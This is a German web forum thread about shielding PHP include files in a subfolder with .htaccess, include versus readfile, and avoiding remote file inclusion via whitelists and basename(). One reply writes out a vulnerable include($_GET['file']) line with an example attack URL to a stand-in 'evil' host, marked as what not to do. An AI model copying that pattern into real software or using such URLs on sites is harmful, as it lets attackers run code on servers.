Daniel: &sicherheit

hi,
ich möchte einen unterodner so schützen das die darin liegenden dateien nur von einem im übergeordneten ordner liegenden php-script included werden können.

sprich nur das script:

www.irgendetwas.de/script.php

darf auf

www.irgendetwas.de/unterordner/datei.xyz

zugreifen. wobei der scriptname egal sein soll.

ich denke es geht mit .htaccess aber was muss ich da reinschreiben? ohne das ich beim include sowas machen muss

include(http://name@pwd/www.addresse/datei)

MfG

  1. Hi!

    ich möchte einen unterodner so schützen das die darin liegenden dateien nur von einem im übergeordneten ordner liegenden php-script included werden können.

    sprich nur das script:

    www.irgendetwas.de/script.php

    darf auf

    www.irgendetwas.de/unterordner/datei.xyz

    zugreifen. wobei der scriptname egal sein soll.

    Dann legst du in das Verzeichnis /unterordner/ eine .htaccess mit folgendem Inhalt:

      
    Order Allow,Deny  
    Deny from All  
    
    

    In script.php bindest du datei.xyz dann so ein:

      
    include 'unterordner/datei.xyz';  
    
    

    Dies ist deshalb dann möglich, weil PHP nicht über HTTP auf die Datei zugreift (und damit den Bedingungen der .htaccess unterworfen wäre), sondern über das Dateisystem.

    Grüße,
    Fabian St.

    --
    ---------------------
    fabi@erde ~# whatis spam
    spam: nothing appropriate
    ---------------------
    Selfcode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)
    1. Hi Fabian,

      Dies ist deshalb dann möglich, weil PHP nicht über HTTP auf die Datei zugreift (und damit den Bedingungen der .htaccess unterworfen wäre), sondern über das Dateisystem.

      Wie du ja selber sagst, kann nun aber das Script immer noch von einem Script included werden, dass eine Ordnerebene höher liegt, als der Document Root - und genau das wollte Daniel aber verhinderrn, wenn ich ihn richtig verstanden habe.

      MfG, Dennis.

      --
      Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
      Man sollte nie aufhören zu fragen (Albert Einstein)
      ... aber natürlich erst, nachdem man sämliche FAQ's und Archive durchgelesen hat :-P
      1. Hi,

        Wie du ja selber sagst, kann nun aber das Script immer noch von einem
        Script included werden, dass eine Ordnerebene höher liegt, als der
        Document Root - und genau das wollte Daniel aber verhinderrn, wenn
        ich ihn richtig verstanden habe.

        jain. ich möchte das die datei nicht von einem script das ein
        aussenstehender auf seinem localen rechner laufen hat included werden
        kann bzw. die darin stehenden daten auslesen kann. dieser müsste das
        dann aber ja mit include(http:...) einbinden und da greift dann die
        .htaccess soweit ich das verstanden habe.

        MfG

        1. echo $begrüßung;

          ich möchte das die datei nicht von einem script das ein
          aussenstehender auf seinem localen rechner laufen hat included werden
          kann bzw. die darin stehenden daten auslesen kann. dieser müsste das
          dann aber ja mit include(http:...) einbinden und da greift dann die
          .htaccess soweit ich das verstanden habe.

          Das Prinzip funktoniert nicht so, wie du dir das vorstellst. Über HTTP werden keine Dateien sondern Ressourcen angefordert (sonst hieße es nicht URL sondern UFL). Nun kommt es auf deinen Webserver an, was der bei Anforderung von Ressource X macht.

          • eine Fehlermeldung zurückgeben, z.B. access denied
          • den Inhalt einer Datei ausliefern
          • ein Programm/Script starten, das eine Ausgabe erzeugt
          • ...

          Der Webserver wird, bei nicht eingeschränktem Zugriff auf die angeforderte Ressource, keinen ausführbaren Script-Quellcode ausliefern, wenn er so konfiguriert ist, dass er diese Scripts erst dem zuständigen Programmteil zur Verarbeitung zu übergeben hat.

          echo "$verabschiedung $name";

    2. Hallo!

      In script.php bindest du datei.xyz dann so ein:

      include 'unterordner/datei.xyz';

        
      Aber verwende \_niemals\_nie\_ include(), wenn Du nicht ganz bewußt PHP-Code der in der Datei steht ausführen willst. In den meisten Fällen reicht [readfile()](http://www.php.net/readfile):  
        
      ~~~php
        
      readfile('unterordner/datei.xyz');  
      
      

      Durch "include($foo)" entstehen mit die meisten der aktuellen Sicherheitslücken in PHP-Scripten.

      Grüße
      Andreas

      --
      SELFHTML Feature Artikel: http://aktuell.de.selfhtml.org/artikel/
      1. Hi Andreas!

        Aber verwende _niemals_nie_ include(), wenn Du nicht ganz bewußt PHP-Code der in der Datei steht ausführen willst. In den meisten Fällen reicht readfile():

        readfile('unterordner/datei.xyz');

          
        Ja, das stimmt und ich handhabe dies genauso, jedoch ist aus der Frage des OP nicht zu erkennen, ob es sich bei der Datei um ein weiteres PHP-Script handelt oder um eine sonstige Datei. Da erster Fall wesentlich häufiger - auch in den Fragen hier im Forum - vorkommt, habe ich mich mal auf diesen Fall beschränkt. In Zukunft werde ich jedoch auch zweiteren erwähnen.  
          
        
        > Durch "include($foo)" entstehen mit die meisten der aktuellen Sicherheitslücken in PHP-Scripten.  
          
        Ich weiß ;-)  
          
        Grüße,  
        Fabian St.  
        
        -- 
        \---------------------  
        fabi@erde ~# whatis spam  
        spam: nothing appropriate  
        \---------------------  
        Selfcode: [ie:{ fl:( br:> va:) ls:\[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)](http://www.peter.in-berlin.de/projekte/selfcode/?code=ie%3A%7B+fl%3A%28+br%3A%3E+va%3A%29+ls%3A%5B+fo%3A%29+rl%3A%28+n4%3A%28+ss%3A%29+de%3A%3E+js%3A%7C+ch%3A%3F+mo%3A%29+zu%3A%29)
        
        1. Hi,

          Ja, das stimmt und ich handhabe dies genauso, jedoch ist aus der
          Frage des OP nicht zu erkennen, ob es sich bei der Datei um ein
          weiteres PHP-Script handelt oder um eine sonstige Datei.

          also es sind mehrere unterschidliche dateien. in einer steht z.B.

            
          $user = "ich";  
          $host = "mein MySQL host";  
          $pwd = "mein MySQL pwd";  
          
          

          in einer weiteren stehen funktionen

            
          function zaehle($von, $bis)  
          {  
            while($von <= $bis)  
            {  
              echo "$von<br>";  
              $von++;  
            }  
            return true;  
          }  
          
          

          MfG

          1. Hi!

            also es sind mehrere unterschidliche dateien. in einer steht z.B.

            $user = "ich";
            $host = "mein MySQL host";
            $pwd = "mein MySQL pwd";

            
            >   
            > in einer weiteren stehen funktionen  
            > [...]  
              
            In diesem Falle ist also mein «include» durchaus angebracht. Legst du diese Dateien dann in ein Unterverzeichnis, das ein solche .htaccess beinhaltet, welche ich bereits gepostet habe, dann können diese \_nicht\_ über HTTP angefordert werden, jedoch natürlich noch immer über das Dateisystem.  
              
            Grüße,  
            Fabian St.  
            
            -- 
            \---------------------  
            fabi@erde ~# whatis spam  
            spam: nothing appropriate  
            \---------------------  
            Selfcode: [ie:{ fl:( br:> va:) ls:\[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)](http://www.peter.in-berlin.de/projekte/selfcode/?code=ie%3A%7B+fl%3A%28+br%3A%3E+va%3A%29+ls%3A%5B+fo%3A%29+rl%3A%28+n4%3A%28+ss%3A%29+de%3A%3E+js%3A%7C+ch%3A%3F+mo%3A%29+zu%3A%29)
            
          2. Hallo!

            also es sind mehrere unterschidliche dateien. in einer steht z.B.

            $user = "ich";
            $host = "mein MySQL host";
            $pwd = "mein MySQL pwd";

            
            >   
            > in einer weiteren stehen funktionen  
            >   
            > ~~~php
              
            
            > function zaehle($von, $bis)  
            > {  
            >   while($von <= $bis)  
            >   {  
            >     echo "$von<br>";  
            >     $von++;  
            >   }  
            >   return true;  
            > }  
            > 
            
            

            OK, dann brauchst Du also include(), wenn Du PHP-Code ausführen willst. Allerdings würde ich solche Dateien lieber außerhalb des doc-root speichern. Bedenke bei include(), dass es nicht möglich sein darf, dass Dir jemand einen Parameter übergeben kann, so dass er eigenen Code einbinden kann:

            /script.php?file=http://boese.de/BOESES_SCRIPT

            include($_GET['file'].'.php');

            z.B. (also sowas NICHT machen, nicht dass da irgendwelche Zweifel aufkommen ;-))

            Am besten keine Vaiablen verwenden, und wenn doch, nur welche die 100%ig geprüft sind, z.B. über eine Whitelist. Und ein basename() ist meistens auch nicht verkehrt.

            Grüße
            Andreas

            --
            SELFHTML Tipps & Tricks: http://aktuell.de.selfhtml.org/tippstricks/
            1. Hi,

              /script.php?file=http://boese.de/BOESES_SCRIPT

              include($_GET['file'].'.php');

              nein die datei(namen) stehen bei mir fest im script und werden nicht über get-variablen übergeben. fals du das meinst.

              MfG

            2. Hi Andreas!

              OK, dann brauchst Du also include(), wenn Du PHP-Code ausführen willst. Allerdings würde ich solche Dateien lieber außerhalb des doc-root speichern.

              Wobei dies natürlich bei den meisten Providern nicht möglich sein wird, sodass eine .htaccess für diesen Fall doch die bessere Möglichkeit ist.

              Bedenke bei include(), dass es nicht möglich sein darf, dass Dir jemand einen Parameter übergeben kann, so dass er eigenen Code einbinden kann:

              /script.php?file=http://boese.de/BOESES_SCRIPT

              include($_GET['file'].'.php');

              z.B. (also sowas NICHT machen, nicht dass da irgendwelche Zweifel aufkommen ;-))

              Am besten keine Vaiablen verwenden, und wenn doch, nur welche die 100%ig geprüft sind, z.B. über eine Whitelist. Und ein basename() ist meistens auch nicht verkehrt.

              Eine andere Möglichkeit (das meintest du wahrscheinlich mit Whitelist) ist, dass man sich ein Array aufbaut, das alle Dateien enthält, die eingebunden werden dürfen und dann z.B. mittels in_array() prüft, ob dies der Fall ist und wenn nicht, eine entsprechende Meldung ausgibt.

              Grüße,
              Fabian St.

              --
              ---------------------
              fabi@erde ~# whatis spam
              spam: nothing appropriate
              ---------------------
              Selfcode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)
              1. Hallo Fabian.

                Eine andere Möglichkeit (das meintest du wahrscheinlich mit Whitelist) ist, dass man sich ein Array aufbaut, das alle Dateien enthält, die eingebunden werden dürfen und dann z.B. mittels in_array() prüft, ob dies der Fall ist und wenn nicht, eine entsprechende Meldung ausgibt.

                Oder aber man lässt überprüfen, ob die mittels $_GET-Parameter ermittelte Resource auch tatsächlich im DOCUMENT_ROOT oder einem anderen im Skript spezifizierten Verzeichnis liegt.

                Gruß, Ashura

                --
                Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
                30 Days to becoming an Opera8 Lover -- Day 19: Notes
                Meine Browser: Opera 8.0 | Firefox 1.0.4 | Lynx 2.8.3 | Netscape 4.7 | IE 6.0
                [Deshalb frei! - Argumente pro freie Software]
                1. Hi Ashura,

                  Oder aber man lässt überprüfen, ob die mittels $_GET-Parameter ermittelte Resource auch tatsächlich im DOCUMENT_ROOT oder einem anderen im Skript spezifizierten Verzeichnis liegt.

                  Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren. Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.

                  MfG, Dennis.

                  --
                  Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
                  „Von rechts ein Trabbi und von links auch frei!” *g*
                  1. Hallo Dennis.

                    Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren.

                    Bei folgendem Konstrukt?

                    if(file_exists($_SERVER["DOCUMENT_ROOT"]."/includes/".$_GET['site'].".php")  
                    {  
                      // ...  
                    }
                    

                    Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.

                    Soviel konnte ich bisher nicht testen. Falls obiges Konstrukt aber lückenhaft ist, bin ich für Verbesserungsvorschläge gerne offen.

                    Gruß, Ashura

                    --
                    Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
                    30 Days to becoming an Opera8 Lover -- Day 19: Notes
                    Meine Browser: Opera 8.0 | Firefox 1.0.4 | Lynx 2.8.3 | Netscape 4.7 | IE 6.0
                    [Deshalb frei! - Argumente pro freie Software]
                    1. Hi Ashura,

                      Hehe, ich bin nicht der einzigste ;-)

                      Vermutlich hast du auch "Auf abgeschickte Nachricht weiterleiten" oder wie das heißt in der Forumskonfiguration aktiviert?

                      MfG, Dennis.

                      --
                      Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
                      Die Stoßstange ist aller Laster Anfang! (Häfft)
                      1. Hallo Dennis.

                        Hehe, ich bin nicht der einzigste ;-)

                        Nein, du bist nicht der Einzi_g_e. ;-)

                        Vermutlich hast du auch "Auf abgeschickte Nachricht weiterleiten" oder wie das heißt in der Forumskonfiguration aktiviert?

                        Meinst du das hier?

                        [ ] Nach dem Absenden von Nachrichten zum erstellten Posting weiterleiten.

                        Ja, habe ich, da ich es ungemein praktisch finde. (Obwohl ich an meinen Beiträgen im Nachhinein sowieso nichts mehr ändern kann.)

                        Gruß, Ashura

                        --
                        Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
                        30 Days to becoming an Opera8 Lover -- Day 19: Notes
                        Meine Browser: Opera 8.0 | Firefox 1.0.4 | Lynx 2.8.3 | Netscape 4.7 | IE 6.0
                        [Deshalb frei! - Argumente pro freie Software]
                  2. Hallo Dennis.

                    Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren.

                    Bei folgendem Konstrukt?

                    if(file_exists($_SERVER["DOCUMENT_ROOT"]."/includes/".$_GET['site'].".php")  
                    {  
                      // ...  
                    }
                    

                    Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.

                    Soviel konnte ich bisher nicht testen. Falls obiges Konstrukt aber lückenhaft ist, bin ich für Verbesserungsvorschläge gerne offen.

                    Gruß, Ashura

                    --
                    Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
                    30 Days to becoming an Opera8 Lover -- Day 19: Notes
                    Meine Browser: Opera 8.0 | Firefox 1.0.4 | Lynx 2.8.3 | Netscape 4.7 | IE 6.0
                    [Deshalb frei! - Argumente pro freie Software]
                2. Hi Ashura,

                  Oder aber man lässt überprüfen, ob die mittels $_GET-Parameter ermittelte Resource auch tatsächlich im DOCUMENT_ROOT oder einem anderen im Skript spezifizierten Verzeichnis liegt.

                  Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren. Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.

                  MfG, Dennis.

                  --
                  Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
                  Mit Gesetzen ist es wie mit Würstchen - es ist besser, wenn man nicht weiß, wie sie gemacht werden. (Otto v. Bismarck)
                  1. Hi,

                    sorry, für die zwei Postings, allerdigns habe ich beim Absenden des ersten Postings vom Forum die Fehlermeldung "Die von Ihnen angeforderte Nachricht konnte nicht gefunden werden" bekommen.

                    Ich glaube ich kann mir das auch halbwegs erklären: Ich lasse mich nämlich (habe ich so konfiguriert) auf ein soeben geschriebenes Posting direkt weiterleiten.

                    Doch wie kann es sein, dass das Posting, was ich gerade geschrieben habe, und was auch abgeschickt wurde (es wurde ja gespeichert) dann beim unmittelbaren Aufruf danach nicht existiert?

                    MfG, Dennis.

                    --
                    Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
                    Wer die FAQ gelesen hat, ist klüger! ... und weiß wie man Links macht ;-)
                    1. Hallo Dennis.

                      sorry, für die zwei Postings, allerdigns habe ich beim Absenden des ersten Postings vom Forum die Fehlermeldung "Die von Ihnen angeforderte Nachricht konnte nicht gefunden werden" bekommen.

                      Dito.

                      Ich glaube ich kann mir das auch halbwegs erklären: Ich lasse mich nämlich (habe ich so konfiguriert) auf ein soeben geschriebenes Posting direkt weiterleiten.

                      Dito.²

                      Doch wie kann es sein, dass das Posting, was ich gerade geschrieben habe, und was auch abgeschickt wurde (es wurde ja gespeichert) dann beim unmittelbaren Aufruf danach nicht existiert?

                      Anscheinend wurde der Eintrag daraufhin nicht schnell genug erkannt, denn die Nachricht wurde ja schon gespeichert.

                      Zusätzlich bekomme ich hier aber auch Verbindungsraten von 200 bis 400 Bytes / sec... :-/

                      Gruß, Ashura

                      --
                      Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
                      30 Days to becoming an Opera8 Lover -- Day 19: Notes
                      Meine Browser: Opera 8.0 | Firefox 1.0.4 | Lynx 2.8.3 | Netscape 4.7 | IE 6.0
                      [Deshalb frei! - Argumente pro freie Software]
                      1. Hi Ashura,

                        Zusätzlich bekomme ich hier aber auch Verbindungsraten von 200 bis 400 Bytes / sec... :-/

                        Ja, gerade hat es auch bei mir ungemein lange gedauert, bis irgendwas geladen wurde. Jetzt scheint es allerdings wieder ok zu sein, die Meldung kommt auch nicht mehr und ich kann wieder normal hier posten ;-)

                        MfG, Dennis.

                        --
                        Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
                        Schon gewusst, dass Bugs und Feature Vorschläge für das CForum ins Entwicklerforum oder in den BugTracker von WWWTech gehören und nicht hier her?
                        1. Hallo Dennis.

                          Ja, gerade hat es auch bei mir ungemein lange gedauert, bis irgendwas geladen wurde. Jetzt scheint es allerdings wieder ok zu sein, die Meldung kommt auch nicht mehr und ich kann wieder normal hier posten ;-)

                          Dito.³ ;-)

                          Gruß, Ashura

                          --
                          Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
                          30 Days to becoming an Opera8 Lover -- Day 19: Notes
                          Meine Browser: Opera 8.0 | Firefox 1.0.4 | Lynx 2.8.3 | Netscape 4.7 | IE 6.0
                          [Deshalb frei! - Argumente pro freie Software]
                          1. 你好 Ashura,

                            Ja, gerade hat es auch bei mir ungemein lange gedauert, bis irgendwas
                            geladen wurde. Jetzt scheint es allerdings wieder ok zu sein, die Meldung
                            kommt auch nicht mehr und ich kann wieder normal hier posten ;-)

                            Dito.³ ;-)

                            http://wwwtech.de/cforum/wiki/moin.cgi/API:Shared_Memory

                            再见,
                            克里斯蒂安

                            --
                            So, wie ein Teil ist, ist das Ganze.
                            http://wwwtech.de/
                  2. Hallo!

                    Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren. Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.

                    Oder einfach (englisches) Manual lesen: "As of PHP 5.0.0 this function can also be used with some URL wrappers."

                    Was besseres als eine gute Whitelist gibt es nicht. Und sonst - egal was man im Parameter erwartet - immer noch basename() verwenden, und einen absoluten Pfad voranstellen.

                    Grüße
                    Andreas

                    --
                    SELFHTML Feature Artikel: http://aktuell.de.selfhtml.org/artikel/
              2. Hallo Fabian

                OK, dann brauchst Du also include(), wenn Du PHP-Code ausführen willst. Allerdings würde ich solche Dateien lieber außerhalb des doc-root speichern.

                Wobei dies natürlich bei den meisten Providern nicht möglich sein wird, sodass eine .htaccess für diesen Fall doch die bessere Möglichkeit ist.

                Ist das wirklich so? Meine bisherigen Erfahrungen sind genau umgekehrt. Außerhalb der doc-root konnte ich _immer_ speichern, eigene .htaccess-Dateien waren nur in Ausnahmefällen möglich. Ich möchte davon allerdings nicht auf die allgemeine Statistik schliessen.

                Freundliche Grüße

                Vinzenz

                1. Hi!

                  Wobei dies natürlich bei den meisten Providern nicht möglich sein wird, sodass eine .htaccess für diesen Fall doch die bessere Möglichkeit ist.

                  Ist das wirklich so? Meine bisherigen Erfahrungen sind genau umgekehrt. Außerhalb der doc-root konnte ich _immer_ speichern, eigene .htaccess-Dateien waren nur in Ausnahmefällen möglich. Ich möchte davon allerdings nicht auf die allgemeine Statistik schliessen.

                  Auch ich kann natürlich nur für meinen Fall (1&1) dies explizit sagen und daher war vielleicht die obige Formulierung etwas zu allgemein. Dennoch denke ich, dass sich das auch auf andere Provider übertragen lässt, zumal sich die Konfiguration (insbesondere was Serversoftware, Userverwaltung, etc.) bei SharedHosting-Sachen angeht, ähnelt.

                  So landet man bei 1&1 nach dem Aufbau einer FTP-Verbindung direkt in seinem doc-root und hat dort auch keine Möglichkeit in der Verzeichnishierarchie weiter nach oben zu gehen.
                  Im Admincenter gibt es zwar die Möglichkeit, den doc-root für eine spezielle Domain auf ein anderes Verzeichnis umzubiegen, jedoch ist diese Option gut versteckt bzw. man erkennt nicht sofort, dass sich hinter der Option «Verwendungszweck» jene Möglichkeit versteckt.

                  In diesem Falle ist m.E. die Verwendung einer .htaccess die einfachere Lösung, zumal diese doch jetzt bei einem Großteil der Hoster zur Standardausstattung der Basis-Pakete gehört.

                  Grüße,
                  Fabian St.

                  --
                  ---------------------
                  fabi@erde ~# whatis spam
                  spam: nothing appropriate
                  ---------------------
                  Selfcode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)
                  1. Hallo Fabian

                    Auch ich kann natürlich nur für meinen Fall (1&1) dies explizit sagen.

                    1&1 war der zweite Provider, mit dem ich zu tun hatte. Ich hatte Zugriff außerhalb der doc-root, ohne Kunstgriffe. Ist aber auch etwas her (1999). Ich sah damals keine Notwendigkeit, .htaccess zu nutzen und weiß daher nicht mehr, ob es zur Verfügung stand.

                    Freundliche Grüße

                    Vinzenz